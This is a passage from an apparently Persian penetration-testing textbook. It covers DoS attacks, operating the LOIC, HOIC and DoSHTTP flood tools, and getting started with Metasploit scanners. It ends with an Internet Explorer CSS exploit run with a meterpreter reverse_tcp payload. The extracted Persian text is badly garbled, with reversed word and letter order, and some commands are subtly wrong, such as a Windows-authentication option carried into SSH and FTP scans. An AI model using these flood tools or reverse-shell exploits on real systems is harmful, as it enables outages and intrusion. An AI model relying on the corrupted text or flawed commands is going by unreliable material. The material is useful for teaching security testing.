
 افتهی اختصاص آدرس یفضا تواند می مهاجم شود، وارد شبکه به یکاف یدرخواستها اگر
 مانند ییابزارها .ببرد بین از کاملاً ینامعلوم زمان مدت یبرا را DHCP یسرورها توسط

Gobbler های درخواست از یریجلوگ دهد. می انجام شما یبرا را کار نیا که دارد وجود 
 کند. می یریجلوگ امر نیا از ،شبکه از ارجخ در ،DHCP یورود

 

 .DoS یکاربرد هیلا

 Application layer denial یکاربرد هیلا سیسرو انکار است، مشخص آن نام از که طور همان

of service، کار یکاربرد هیلا در که را شبکه های سیسرو یبرخ که باشد می یسیسرو انکار 
 دهد. می قرار هدف را داده گاهیپا کی مثال، عنوان به دهد، می قرار هدف کنند می
 

HTTP Post DoS. 

 امیپ از یبخش کند. می ارسال یقانون HTTP امیپ کی ،کند می پست را DoS حمله HTTP کی
 حمله، نیا در کند. می دنبال را امیپ اندازه نیا است. " content-length‘ محتوا طول" پست
 در سپس سرور وب کند. می ارسال یکند اریبس سرعت با را یواقع امیپ (Body) هبدن مهاجم
 حمله نیچند از دیبا مهاجم تر، یقو یرهاسرو یبرا است. " hung " امیپ لیتکم انتظار

HTTP Post DoS کند. استفاده همزمان طور به 
 

PDoS. 

 ستمیس به که است ای حمله permanent denial of service (PDoS) سیسرو یدائم انکار
 به یحت ای عامل ستمیس مجدد نصب به ای یقربان دستگاه که یطور به رساند می یدایز بیآس

 حمله شامل معمولاً که گویند، می phlashing آن به اوقات یگاه دارد. ازین دیجد افزار سخت
DoS است. دستگاه افزار انیم به 

 

DDoS. 

 انکار حمله یسادگ به (distributed denial of service) سرویس شده توزیع انکار حمله
 دانند نمی یحت کننده حمله های نیماش غالباً شود. می یناش یاریبس منابع از که باشد می سیسرو
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 حمله که باشند شده آلوده بدافزار به است ممکن ها نیماش نیا هستند. حمله از یبخش که
DDoS حمله در توان می را یقبل حملات از کی هر کند. می آغاز را DDoS کرد. هاستفاد 

 

 Tools ابزارها

 یابزارها کرد. دیخواه استفاده کنند می استفاده مهاجمان که یابزار همان از نفوذ، تست یبرا
 ابزارها نیا است. دسترس در DoS حمله یاجرا یبرا نترنتیا از گانیرا دانلود یبرا یشمار یب
 گاهی ابزارها آن خاص URL) افتی نترنتیا در گانیرا صورت به دانلود برای توان می را

 . ند(نک می رییتغ اوقات
 

Low Orbit Ion Cannon. 

 کی .باشد می مکانی هر در DoS یابزارها ترین ساده از یکی مطمئناً و ترین شده شناخته احتمالاً
 را ابزار نیا دیتوان می که خواهد نشان شما به را یمختلف های تیسا نترنتیا در ساده یجستجو

 .دیکن دانلود آنجا از
 سپس .دیده قرار (target)هدف باکس در را IP آدرس ای URL ابتدا ،LOIC یانداز راه از پس
 استفاده یروش چه از نکهیا به توجه با را ماتیتنظ دیتوان می .دیکن کیکل Lock on دکمه یرو بر
 به پسس .دیده رییتغ را پاسخ برای انتظار عدم و پاسخ برای انتظار و ها رشته تعداد سرعت، ،دیکن

 در حمله درنتیجه و دیکن کیکل IMMA CHARGIN MAH LAZER دکمه یرو بر یسادگ
 .دیکن مشاهده 12-9 شکل در دیتوان می که گیرد، می قرار انجام حال در وضعیت

 
  LOIC .12-9 شکل
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High Orbit Ion Cannon. 

 یرو اهدداف  زودناف یبرا است. تر ساده آن یاجرا واقع در اما است، LOIC از تر شرفتهیپ یکم
 و دید کن مدی  وارد را URL کده  ییجدا  شدود،  مدی  ظداهر  بازشدو  پنجره کی .دیکن کیکل + دکمه
 است. شده داده نشان 12-10 شکل مانند میتنظ چند نیهمچن

 
 HOIC ماتیتنظ .12-10 شکل

 

 حمله. شروع دکمه واقع در !دیکن کیکل FIRE THE LASER یرو بر دیتوان می سپس
 

DoSHTTP. 

 را مرورگر نوع مثال عنوان )به (agent) عامل هدف، شما .باشد می ساده زین ابزار نیا از دهاستفا
 لیس سپس ،کرده انتخاب را (requests)ها درخواست سوکت، چند (،یساز هیشب یبرا
(flood) دیکن مشاهده 12-11 شکل در دیتوان می که ،دیکن می شروع را. 

 
 DoSHTTP. 12-11 شکل
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 خلاصه

 دستگاه یانداز راه شامل که ید،گرفت فرا را Wi-Fi تیامن تست یاساس یها روش صل،ف نیا در
 یدسترس یبرا را کاربران توان می ایآ که کنید مشاهده تا باشد، می مالک سرکش یدسترس
 .مادیشد آشنا ها آن یابیارز نحوه و Wi-Fi تیامن یاساس ماتیتنظ با نیهمچن داد. بیفر

 معمول روش کی یاجتماع یمهندس .میکرد انیب را یاجتماع یدسمهن یضرور موارد نیهمچن
 شما نفوذ تست از یبخش دیبا ،نیبنابرا کنند. می استفاده آن از مهاجمان از یاریبس که است

 از یاریبس از یمختصر شرح با ما .میکرد بحث سیسرو انکار حملات مورد در باشد.سرانجام،
 دتوان می که میکرد یبررس را یخاص یابزارها سپس ،کرده شروع شده شناخته DoS حملات

 .دیکن استفاده شیآزما مورد های شبکه در DoS انجام یبرا
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 Metasploitای بر  مقدمه
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 اهداف فصل 

 :بود دیخواه قادر فصل، نیا خواندن از پس
 اصول Metasploit دیکن درک را. 
 بنیادی دستورات Metasploit دیکن اجرا را. 
 با را اسکن Metasploit دیده انجام. 
 یبرداریها بهره (exploits) با را بنیادی Metasploit دیده انجام. 

Metasploit همین باشد. نفوذ کنندگان تست و هکرها یبرا محبوب ابزار تنها است ممکن 
 کی دینتوان ،Metasploit مورد در کاری دانش حداقل داشتن بدون شما که ،است کافی دلیل
 را مورد چند دیبا ،زمینه این در دانش اعماق به کردن حرکت از قبل .دیباش نفوذ کننده تست
 .میده پوشش
 هدف از ها برداری بهره ارائه یبرا چارچوب کی ساده، زبان به ست؟یچ قاًیدق متااسپلویت اول،
 نیا یبرا که را برداری بهره ،دیریبگ نظر در را شده مستند پذیری آسیب کی دیتوان می .باشد می
 یگاه .دیده لیتحو نظر مورد دستگاه به را آن سپس و کرده دایپ شده یطراح پذیری سیبآ

 یگاه .دیکن می ارسال پورت و IP آدرس به را آن شود، می انجام ماًیمستق کار نیا اوقات
 شما و کند، می کار سرور وب کی عنوان به Metasploit ،ها اکسپلویت یبرخ با اوقات،
 ستمیس و کند، کیکل لینک یرو یمشتر اگر .دیکن می ارسال کلاینت یا مشتری به را لینکی
 ابزار کی نیا ،نیبنابرا شد. دیخواه ستمیس وارد شما ،باشد ریپذ بیآس حمله آن برابر در یو
 یسخت کار آن یریادگی ،دید دیخواه فصل نیا در که طور همان و، .باشد می متنوع اریبس
 .ستین

 هک .باشد می مناسب ابزار کی فقط Metasploit که است نیا دیبدان دیبا که موردی نیدوم
 هدف کاوش مورد در نیا .ستین خاص ابزار کی به مربوط باشد( هرچه قصد ای زهی)انگ کردن
 روبرو یافراد با مرتب ورط به رایز کنم ذکر باید را مورد این .باشد می آن مورد در یریادگی و
 به شما اگر که معتقدند ها آن .دانند می چی همه نکرد هک ختم را متااسپلویت که شوم می
 درست تنها نه نیا .بود خواهد شما مال چی همه ،دیباش داشته اریاخت در را Metasploit یراحت
 دارد تعجب جای من برای باشد. می نیز دهنده تکان که است قتیحق از دور آنقدر بلکه ،نیست
 در فقط ای اند کرده استفاده یواقع ستمیس کی در Metasploit از تاکنون یافراد نیچن ایآ که
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 را کارها همه اگر ،که باشد می اینگونه قتیحق رایز اند؟ کرده استفاده کلاس های شگاهیآزما
 خاص )اکسپلویت(برداری بهره آن معر  در نظر مورد نیماش ولی ،دیده انجام یدرست به

 دینخواه وارد احتمالاً باشد، شده پچ کاملاً یدستگاه اگر شد. دینخواه وارد نباشد،
 !دیکن تست دیخواه می که است ینوع همان قاًیدق ،نفوذ کننده تست دگاهیدازشد.
 دیخواه اجرا چگونه را Metasploit رساند. می مورد نیسوم به را ما بالا در شده ذکر مورد دو

 داشت: دیخواه ازین مورد دو به حداقل شما کرد؟
o وکسنیل یکال با حمله نیماش کی 
o هدف کی حداقل 

 یگرید به VM حمله کی و دیده قرار یمجاز نیماش عنوان به را دو هر دیتوان می خوشبختانه،
 نیاول .باشد می کردیرو دو نیا د؟یباش داشته دیبا هدف یبرا یدستگاه نوع چه اما .دیباش داشته

 هر ای) شده چپ 10 ندوزیو دستگاه یکاست. نانهیب واقع مدرن هدف کی به یابیدست ،رویکرد
 شتریب است نیا تیواقع اما ،باشد می یواقع اریبس (کتاب نیا خواندن نیح در ودموج نسخه
 یحملات همه نه ،یبرخ که دیکن نیتضم دیخواه می اگر دهد. نمی جواب کنید می که تلاشی
 1 پک سیسرو بدون 7 ندوزیو از نسخه کی است، مؤثر شده، داده شرح کتاب نیا در که
 دارد: وجود هدف نیماش کی یجستجو یبرا مکان چند د.ینک افتیدر
 لینک در دیتوان می که است کرده فراهم تست یبرا یمجاز های نیماش کروسافتیما 

https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/ نیا با .دیکن دایپ 
 حذف را آن دیتوان نمی و ندهست 1 پک سیسرو یدارا ها آن VM ،7 یندوزهایو تمام حال،
 فصل نیا در ها  برداری( اکسپلویت)بهره از یبرخ که باشد یمعن نیبد است ممکن نیا .دیکن

 .ستندین کارساز
 اشتراک اگر MSDN با 7 ندوزیو آنجا از دیبتوان است ممکن است(، گانیرا )و دیدار 

 .دیکن هیته iso فرمت
 اگر فروشند. می را ندوزیو یمیقد ایه نسخه که دارند وجود یادیز های تیسا وب 
 1 پک سیسرو بدون که دیشو مطمئن است، مؤثر حملات که دیکن نیتضم دیخواه می
 .باشد می
 مانند هایی مکان در را ندوزیو یمیقد های نسخه اغلب مردم eBay در وحتی ،فروشند می 

 در تیموفق از نانیاطم یبرا هم، باز .دارد قرار رایگان صورت به ایرانی های سایت
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 .،باشد 1 پک سیسرو فاقد که دیشو مطمئن فقط ها برداری بهره

 های بسته بدون را 7 ندوزیو دستگاه کی دیبخواه اگر رسد می نظر به است ممکن اکنون
 در Metasploit انیمبتد یبرا فصل نیا اما برسد. نظر به یمصنوع یکم ،دیکن امتحان یخدمات
 صورت در ،دیباش داشته توجه اما .دیشو موفق که است نیا مانهدف است. شده گرفته نظر
 خواهد ناپذیرتکرار امری اند، شده )پچ(وصله احتمالاً که یاقعو های نیماش به آسانی به ورود
 شد.
 نیماش کی در ای باشد یگرید کامپیوتر در تانهدف نکهیا به بسته شما یمجاز نیماش میتنظ
 است: متفاوت یکم باشد، زبانیم همان در گرید یمجاز
 صورت به نصب Live USB با (دوامInstalling as Live USB with persistence) . نیا 
 نباشد. زبانیم شبکه ریز همان در است ممکن VM حال، نیا با شود. می نصب یراحت به نهیگز
 یمشکل زبانیم به VM و VM به زبانیم وندیپ در اگر کند. نگیپ را زبانیم بتواند دیبا VM هنوز
 .دیده قرار زبانیم کهشب ریز در را IP آدرس یدست صورت به ،بیاید پیش
 شبکه VM آدرس تا دیکن میتنظ را IP با را ثابت ifconfig eth0 191.168.0.XXX هر ا)ی 

 همه که یشرط به ،دیکن میتنظ یدست صورت به ،دیکن استفاده دیخواه می که ای محدوده
 . (باشند محدوده کی در ریدرگ های نیماش
 دیباش داشته توجه
 زبانیم فقط ،دیشو تبدیل زبانیم همان روی یقربان VM کی به Kali VM از دیخواه می اگر

 .دیکن (allow all)مجاز را همه و دیکن میتنظ را (host only adapter)آداپتور
 

 Metasploit نهیشیپ

Metasploit در و شد جادیا 2003 سال در بار نیاول Perl نام به یشخص سطتو شد. نوشته H. 

D. Moore سال در .باشد می شده شناخته هکر و تیامن متخصص کی مور .یافت توسعه 
 یداریخر Rapid7 شرکت توسط Metasploit ،2009 سال در شد. یسیبازنو Ruby در ،2007
 دهد. می انجام را Metasploit عیتوز و ینگهدار و ریتعم هیکل حاضر حال در و شد،

 کرد دیخواه کار ها آن با که (object) یش نوع چهار به توان می را Metasploit شتریب واقع، در
 :شود می بندی میتقس
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Exploits: گرید عبارت به کنند. می حمله خاص پذیری آسیب کی به که هستند ییکدها نهایا، 
 .باشد می پذیری آسیب آن خاص برداری بهره

Payload: یزیچ همان کد نیا واقع در .دیکن می الارس هدف به واقع در شما که است یکد 
 دهد. می انجام هدف نیماش یرو را فیکث هکار که باشد می
 عندوان  بده  کنندد.  مدی  فدراهم  را یاضداف  هدای  تیقابل از یبرخ ها ماژول نیا : (Auxiliaryی)کمک
 اسکن مثال،

 ،PDF نندد ما گدر ید هدای  فایدل  در هدا(  اکسدپلویت  ) هدا  برداری بهره نیا :Encoders رمزگذارها
AVI کرد میخواه مشاهده یبعد فصل در را موجود موارد .باشند می رهیغ و. 

 کنندد(  مدی  عید توز را Metasploit کده  گروهدی  (Rapid7 حاتیتوضد  با است ممکن موارد نیا
 باشد: تر یمنطق

 هیزاو که باشد می عامل ستمیس ای افزار سخت افزار، نرم کی در یتیامن حفره کی پذیری آسیب
 های رمز یسادگ به تواند می پذیری آسیب کی کند. می جادیا ستمیس به حمله یبرا ای هبالقو
 باشد. SQL قیتزر های پذیری آسیب ای بافر زیسرر لیدل به دهیچیپ ای فیضع عبور
 کاملاً و کوچک برنامه کی ،اکسپلویت کی به اغلب شما پذیری، آسیب کی از استفاده یبرا

 و خاص پذیری آسیب کی از استفاده کار، نیا لیدل تنها که دیدار ازین یکامپیوتر یتخصص
 هدف ستمیس به را Payload اغلب ها اکسپلویت .باشد یکامپیوتر ستمیس به یدسترس امکان
 .بدهند را ستمیس به یدسترس اجازه مهاجم به تا دهند می لیتحو

 های برداری هرهب یبرا جهان یعموم یاطلاعات بانک نیبزرگتر زبانیم Metasploit پروژه
 قرار زیر لینک در که دیاندازیب برداری بهره داده گاهیپا به ینگاه است. تیفیک با شده نیتضم
 دارد.

.(https://kb.help.rapid7.com/v1.0/docs/penetration-testing)  
 

 Metasploit اب کار شروع

 (GUIی)کیگراف یکاربر واسط از استفاده فقط مورد نیاول .دیدار نهیگز دو Kali Linux در
 شکل در دیتوان می را مورد نیا افتنی نحوه است. Metasploit نماد یرو بر کیکل و دسکتاپ

 .دیکن مشاهده 1-13

https://kb.help.rapid7.com/v1.0/docs/penetration-testing
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 Metasploit یانداز راه .13-1 شکل

 صادر را زیر دستور سه و کرده باز را shell باشد. می دستی صورت به یا manual دوم نهیگز
 :دیکن
 .شود می شروع postgresql سیسرو .1
2.msfdb init. 
3. msfconsole. 
 .دیکن مشاهده 13-2 شکل دردیتوان می که

 
 Metasploit یدست شروع .13-2 شکل
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 های امیپ که کرد یدخواه مشاهده،دیبزن را Enter و دیکن پیتا را msfconsole یوقت حالا
 واسط قیطر از ای یدست صورت به را Metasploit خواه کنند. می عبور صفحه از یادیز

 ،دیکن می مشاهده 13-3 شکل در آنچه مشابه یینها جهینت ،دیکن شروع یکیگراف یکاربر
 بود. خواهد

 
 .شده آغاز Metasploit .13-3 شکل

 

 های  Payload است ممکن که دیگو می شما به دیکن می مشاهده صفحه یرو که یامیپ
Metasploit صورت بدین شنهادیپ شود. ییشناسا ها روسیو آنتی محصولات یبرخ توسط شما 

 محصول آن در موجود ایپو های Payload از و داده ارتقا Metasploit Pro به که باشد می
 یبررس یعنی شوید، شروع آماده و دیده نجاما گرید کار کی دیبا فقط اکنون .دیکن استفاده

 درست از نانیاطم و یبررس روش کند. می استفاده داده گاهیپا کی از Metasploit داده. گاهیپا
 :کردن تایپ شدن، اجرا

db_status 

 دیخواه مشاهده است شده داده نشان 13-4 شکل در که را یامیپ باشد، مناسب زیچ همه اگر
 کرد.

 
 .شده متصل داده پایگاه .13-4 شکل
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 مشداهده  اسدت  شدده  داده نشدان  13-5 شدکل  در کده  را یامید پ باشدد،  داشدته  وجود یمشکل راگ
 کرد. دیخواه

 
 .نشده متصل داده گاهیپا .13-5 شکل

 

 دیتوان نمی اما کنید استفاده Metasploit از دیتوان می همچنان نکند، کار داده گاهیپا اتصال اگر
 !دیهست Metasploit از استفاده آماده شما وناکن ولی .دیکن رهیذخ داده گاهیپا در را جینتا
 

 msfconsole از اولیه استفاده

 ادی یبعد یبخشها در کرد. میخواه شروع بخش نیا در یاساس دستورات و یناوبر با ما
 یبرا حال، نیا با .دیکن برداری بهره و دیده انجام اسکن Metasploit با که گرفتید خواهید
 .دیکن مراجعه دستورات نیا به دیبا ،Metasploit در حرکت

 

  (Basic Commands) اولیه دستورات

Back: بهربرداری فقط اگر مثال، عنوان به شود. می استفاده اجرا از شدن خارج یبرا دستور نیا 
 امتحان را یگرید مورد دیخواه می و است نداشته ای جهینت و اید داده انجام را )اکسپلویت(

 .دیکن استفاده Metasploit یاصل کنسول به بازگشت یبرا دستور نیا از ،دیکن
 Load: نیپلاگ / ماژول هر دهد می امکان شما به کرد. دیخواه استفاده دستور نیا از مرتباً شما 
 .دیکن (Load) بارگیری را
 Unload: کند می تخلیه را نیپلاگ کی دستور نیا. 
 exit or quit: کنند می خارج را ااسپلویتمت ها آن باشد. واضح دیبا هادستور نیا. 

Use: به که یستدستور نیا شد. دیخواه آشنا اریبس دستور نیا با فصل، نیا اتمام تا 
Metasploit کاملاً اسکن یبعد بخش در امر نیا .دیکن می استفاده یزیچ چه از شما دیگو می 

 شد. خواهد روشن
show exploits: دستور نیا exploit  دهد می نشان را ها. 

show payloads: را تیاکسپلو کی که یهنگام Load دستور نیا ،دیکرد payload را هایی 
 .دیکن استفاده آن از برداری بهره برای دیتوان می که دهد می نشان
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 شینما های نهیگز ،دیکن payload را exploit ای load اگر : (show options)شینما های نهیگز
 .دیکن میتنظ دیبا را یموارد چه و دیکن میتنظ دیتوان می را هایی نهیگز چه دهند می نشان شما به
 Jobs: هستند اجرا حال در هایی فعالیت چه حاضر حال در که دهد می نشان شما به دستور نیا. 

Kill: شود می استفاده اجرا حال در )فعالیت(کار هر بردن نیب از یبرا دستور نیا. 
 Session: اگر دهد. می نشان شما به را فعال جلسات exploit ای کی باشد، آمیز موفقیت شما 

 با را 3 )عدد دیکن استفاده sessions -i 3 از دیتوان می سپس داشت. دیخواه جلسه اجرای چند
 دستگاه با و گرفته دست در را جلسه آن کنترل تا (دیکن نیگزیجا خود نظر مورد جلسه شماره
 .دیباش داشته تعامل هدف

msfupdate: را نسخه نیدتریجد اگر کند. می روز به را چارچوب متااسپلویت اتاوق گاهی 
 داخل از نه ،shell از که دیکن توجه .دیکن می پیتا shell در را msfupdate ،دیبخواه

Metasploit. 
 است. حساس بزرگ و کوچک حروف به نوکسیل که دیباش داشته ادی به و باشید داشته توجه
 است ممکن ،دیکن می کار فصل نیا در که همچنان هستند. تدستورا ترین یاساس فوق موارد
 .دیکن مراجعه ستیل نیا به یگاه چند از هر دیباش لیما
 

  (Searching) جستجو

 اریبس یداخل یجستجو تیقابل از خوشبختانه دارد. وجود Metasploit در یادیز موردهای
 مختلف های راه از را مختلف یها اکسپلویت دیتوان می یراحت به است. برخوردار زین مناسبی
 .میکن شروع ملعا ستمیس اساس بر جستجو با ما دیده اجازه .دیکن جستجو

 :یدکن امتحان یدناتو یم
search platform:Windows 

 چنددان  کده  کند می پر شمار یب جینتا با را ها شینما صفحه از یاریبس سرعت به جستجو نیا اما
 نددوز یو ای 2016 سرور ندوزیو ای 8 ندوزیو ای 7 ندوزیو یابر یخاص اکسپلویت ایآ .ستین دیمف
 شود: تر خاص تا داده رییتغ را مورد نیا دیتوان می دارد؟ وجود 10

search platform:"Windows 8.1" 

 که دیاوریب دست به دیخواه می که را یزیچ همان قاًیدق کند می کمک شما به جستجو نیا
 .دیکن مشاهده 13-6 شکل در دیتوان می
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 Platform توسط جستجو .13-6 شکل

 وجود گرید مورد چند نجایا در .باشد می جستجواریبس های نهیگز از از یکی تنها جستجو نیا
 سندهینو یجستجو ،ریمس یجستجو ،نام یجستجو دارد:

search name:mysql 
search path:scada 
search author:jsmith 

 :دیکن بیترک هم با را جستجوها دیتوان می یحت
search cve:2011 author:jsmith platform:linux 

 ها برداری بهره نیا اما برسد. نظر به بیعج است ممکن (author) سندهینو توسط جستجو
 تجربه و وقت یکم با شما شود. می جادیا برداری بهره منفرد سندگانینو توسط ها( )اکسپلویت

 خواهید دایپ گرانید از بهتر دیدار بیشتری لاقهع که را سندگانینو از یبعض ادیز احتمال به
 را نیآنلا برداری بهره داده گاهیپا کی Rapid7 ،دیندار دوست را shell واسط اگر .کرد

 :دیکن دایپ یدسترس آن به ها آن تیسا وب قیطر از دیتوان می که کند می نگهداری
/www.rapid7.com/db/modules/https:/. 

 عنوان به .دیکن می کسب یشتریب اطلاعات اما ،دیکن می وارد را یمشابه یجستجو انواع شما
 کردم. جستجو را 10 ندوزیو من 13-7 شکل در مثال،
 دیکن می کیکل جستجو جینتا نیا از یکی یرو بر که یهنگام نیآنلا داده گاهیپا نیا قدرت
 است. شده انجام ا 13-8 شکل در که طور همان شود، می داده نشان واقعاً

https://www.rapid7.com/db/modules/
https://www.rapid7.com/db/modules/
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 همچنین و دهد می نشان راکه نانیاطم تیقابل و اهداف ،گانسندینو بر علاوه صفحه این
 یدیمف کاملا اطلاعات واقع در که بوده اعتماد قابل چقدر تیاکسپلو نیا که گوید می
 .باشد می

 
 .10 ندوزیو یجستجو .13-7 شکل

 

 
 Exploit جزئیات .13-8 شکل
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 Metasploit با اسکن

 اگر .باشد می مهم مرحله کی هدف اسکن ،دای هکرد مطالعه کتاب نیا اوایل در که طور همان
 یچندان تیموفق آن نقض یبرا تلاش در ،دیباش نداشته هدف مورد در یادیز اطلاعات
 طور همان کند، می یبانیپشت را جستجو یادیز تعداد متااسپلویت خوشبختانه، داشت. دینخواه
 .شود می داده شرح یبعد های بخش در که
 

 SMB اسکنر

Block Message Server (SMB) توسط Windows Active Directory شود. می استفاده 
 دارای وتریکامپ کی هدف ایآ که دیکن می یبررس ،دیکن می اسکن کار نیا یبرا که یهنگام
 :باشد می سانآزیر اسکن .خیر یا است ندوزیو عامل سیستم

use scanner/smb/smb_version 

set RHOSTS 192.168.1.177 

set THREADS 4 

run 

 .دیکن نیگزیجا دیکن می اسکن که یهدف IP آدرس با را IP 192.168.1.177 آدرس دیبا البته،
 .دیکن مشاهده 13-9 شکل در را جینتا دیتوان می

 
 SMB اسکنر .13-9 شکل

 

 خط به خط بدهید اجازه نیبنابرا دارد. وجود آن در یادیز اطلاعات اام ،باشد می ساده اگرچه
 شامل اول خط .دیکن درک را آن کاملاً تا میکن عبور آن از

use scanner/smb/smb_version 

 به که ،دارد وجود فصل نیا تمام در شکل نیا به باًیتقر که کرد دیخواه مشاهده را یخطوط
 دهد. می را ماژول آن ریمس و .دیکن استفاده خاص اژولم کی از دیدار قصد دیگو می شما
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 اسکنر یتعداد یدارا خاص دایرکتوری نیا .باشد می اسکنر ریمس اول قسمت که دیکن توجه
 باشد: می زیر صورت به یبعد خط .دینک استفاده دیتوان می که باشد می

set RHOSTS 192.168.1.177 

 اسکن که باشد می دور راه از (ی)ها زبانیم IP آدرس نیا .کنید دقت RHOSTS به ابتدا
 کی دیتوان می فقط شما دهد می نشان که هستند، RHOST یدارا ها ماژول از یبرخ .دیکن می

 در دهد می نشان هستند، ها RHOST یدارا گرید یبرخ که یحال در ،دیکن اسکن را هدف
 یدارا RHOST یجا به ماژول زمان هر .دیکن اسکن را هدف نیچند دیتوان می لیتما صورت

RHOSTS ،های آدرس از یعیوس فیط دیتوان می باشد IP رییتغ را دستور فقط .دیکن اسکن را 
 :دهد نشان تا دیده

set RHOSTS 192.168.1.177 192.168.1.215 
 :داریم ما سپس

set THREADS 4 

 چیه کند. تفادهاس ماژول نیا یاجرا یبرا (thread) رشته چند که دیگو می Metasploit به نیا 
 دینکن انتخاب را ادیز یلیخ عدد کی که نیا از ریغ ندارد، وجود مورد نیا در یخاص قاعده
 کی با فقط ،دارید یشک که یصورت در .نباشد آن انجام به قادر شما یشخص دستگاه CPU که
 :داریم سرانجام، .کنید اجرا رشته

run. 
 بده  فقدط  نید ا .ابدد ی مدی  انید پا exploit اید  run بدا  کنیدد  مدی  مشاهده فصل نیا در که یماژول هر

 هددف  اگدر  .دبدهد  انجام کرده یانداز راه تازه که را یکار هر و دبرو که دیگو می متااسپلویت
 کده  دهدد  می نشان یسادگ به Metasploit باشد، نداشته دیکن می اسکن آن یبرا که را یسیسرو
 است. رسانده انیپا به را دخو اسکن

 

SQL Server Scan. 

 کدرده  مطالعده  دقدت  بده  را SMB اسکن اگر .میکن اسکن را ها SQL Server دیده اجازه اکنون
 :دیکن می پیتا شما .شود می بیان واضح طور به نجایا دستورات ،دیباش

use auxiliary/scanner/mssql/mssql_ping 

set RHOSTS 192.168.1.177 

Set THREADS 1 

Set USE_WINDOWS_AUTHENT false 

run 
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 نیا است. نادرست USE_WINDOWS_AUTHENT کهدارد، وجود دیجد مورد کی فقط 
 نیبنابرا ،دیندار ورود اعتبار SQL Server یبرا شما که دیگو می Metasploit به فقط مورد
 دهد. می نشان را جینتا 13-10 شکل .دیشو وارد دینکن یسع

 
 Server SQL اسکن .13-10 شکل

 

 نداده انجام تاکنون که میده انجام را فعالیتی دییایب ،میده ادامه گرید های اسکن به نکهیا از قبل
 را ها ماژول نیا های نهیگز دیتوان می چگونه که دهم نشان شما به دهید اجازه اینجا در.میا

 از پس .دیکن استفاده شود می گفته شما به که را آنچه صرفاً نکهیا نه ،دیکن دایپ خودتان
 ،auxiliary / scanner / mssql / mssql_ping از استفاده با ماژول (loadingی)ریبارگ
 که گفت خواهد شما به Metasploit .دیکن پیتا را (show options) شینما های نهیگز
 (optionalی)اریاخت کدام و ازین مورد ها نهیگز کدام نیهمچن ،ستیچ ماژول آن های نهیگز
 .دیکن همشاهد 13-11 شکل در دیتوان می که ،است

 
 .show options با ماژول های نهیگز مشاهده .13-11 شکل
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 هر از استفاده بار هر از بعد کنم می شنهادیپ ،بینید می آموزش را Metasploit که طور همان
 فصل، نیا انیپا در .دیکن مطالعه ای لحظه یبرا را ها نهیگز .دیکن اجرا را show options ماژول،
 به کهنیا نه ،دیباش داشته تبحر Metasploit در اساسی صورت به هکباشد می گونهنیا هدف
 .دیبسپار بخاطر را دستورات از یشمار انگشت تعداد یسادگ
 

 SSH سرور اسکن

 اریبس دستورات است. هدف روی Secure Shell (SSH) یسرورها ییشناسا یبرا اسکن کی
 :اید کرده مشاهده قبلاً آنچه مشابه

use scanner/ssh/ssh_version 

set RHOSTS 192.168.1.177 

Set THREADS 1 

Set USE_WINDOWS_AUTHENT false 

Run 
 .سدت ین شدتر یب حیتوضد  بده  یازید ن اندد،  شدده  داده حیتوضد  قدبلاً  دسدتورات  نید ا همده  که آنجا از 

 .دیکن مشاهده 13-12 شکل در را جینتا دیتوان می

 
 SSH اسکن .13-12 شکل
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   (Anonymous FTP Servers) ناشناس FTP یسرورها

 را ناشناس ورود اجازه که است FTP یسرورها یبرا اسکن نیا ،دیزن می حدس که طور همان
 است: توجه قابل پذیری آسیب کی نیا دهد. می

use auxiliary/scanner/ftp/anonymous 

set RHOSTS 192.168.1.177 

Set RPORT 21 

Set THREADS 1 

Set USE_WINDOWS_AUTHENT false 

run 

 از یاریبس اما ،هستند scanner/ directory/ در ها اسکن یبرخ که دیشو متوجه است ممکن
 هستند. auxiliary/scanner/ directory/ در ها آن
 دهد. می نشان را اسکن نیا جینتا 13-13 شکل 

 
 ناشناس. FTP اسکن .13-13 شکل

 

FTP Server. 

 انتظدار  کده  طدور  همدان  نباشند، ناشناس اگر یحت ،دیکن دایپ را FTP یسرورها دارید تمایل اگر
 هستند: مشابه کاملاً دستورات دیدار
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use auxiliary/scanner/ftp/ftp_version 

set RHOSTS 172.20.0.1 

show options 

run 

 دهد. می نشان را جینتا 13-14 شکل

 
 FTP Scan .13-14 شکل

 

 شروع دیبا کار نیا .دیده انجام دیانتو می که دارد وجود یاریبس های اسکن که است یهیبد
 هایی نیماش برابر در را ها اسکن ابتدا کنم می شنهادیپ باشد. Metasploit درک یبرا یخوب
 دیدان می که ینیماش یرو را FTP اسکنر د.نباش داشته دیبا ای جهینت چه دیدان می که دیده انجام
 نیا دیدان می که دیکن امتحان یگاهدست یرو را آن سپس ،دیکن امتحان است FTP سرور یدارا
 ها برداری بهره گام به رفتن از قبل .دیکن یبررس را show options بار هر ندارد. را یژگیو
(exploit ها،) قدرتمند یابزار خود ها اسکن .کنید پیدا کامل تسلط تا بوده مشغول ها اسکن با 
 .ندهست هدف مورد در اطلاعات آوری جمع یبرا
 

 ها Exploit یا ها برداری بهره از ادهاستف نحوه

 (syntax)نحو که کرد دیخواه مشاهده ندارد. یچندان تفاوت اسکن با ها Exploit از استفاده
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 یصورت در تنها برداری بهره کی که دیباش داشته بخاطر اکنون است. مشابه کاملاً دستورات
 برداری بهره نباشد، نگونهیا اگر باشد. داشته را خاص پذیری آسیب آن هدف که دهد می جواب
 از ،دیباش داشته اکسپلویتها این کارکرد یبرا ینیتضم دیخواه می اگر داشت. نخواهد ییکارا
 .دیکن استفاده 1 پک سیسرو بدون 7 ندوزیو هدف کی
 

 Exploit یمثالها

 تصور به را ها Exploit از یتعداد دیتوان می ،دیا آموخته فصل نیا در قبلاً که طور همان
 خواهم نشان شما به نمونه عنوان به فقط را مورد چند .دیکن جستجو Metasploit در ای نیآنلا
 داد.
 

  Cascading Style Sheets (CSS) یآبشار سبک به های برگه

 و کنترل 7 ندوزیو در که است اکسپلورر نترنتیا با عملکرد نحوه نقص بر یمبتن حمله نیا
 نیاول دارد. قسمت دو حمله نیا دهد. می انجام را (CSS) یآبشار سبک به های برگه پردازش
 شود: می انجام یکال دستگاه در قسمت

use exploit/windows/browser/ms11_003_ie_css_import 

set payload windows/meterpreter/reverse_tcp 

set URIPATH /clickhere 

set LHOST 10.0.2.20 

exploit 

 شروع use عبارت با ها اسکن مانند قاًیدق شما هستند. ها اسکن هیشب قاًیدق موارد نیا از یبرخ
 واقع، در .دیباش داشته payload زانیم میتنظ یبرا دوم دستور کی دیبا آن از پس اما .دیکن می
 سپس ،دیکن می استفاده خاص )اکسپلویت( برداری بهره کی از شما که است یمعن بدان

payload دیکن میتنظ هدف با را دیده لیتحو دیخواه می که را. URIPATH آدرس از پس 
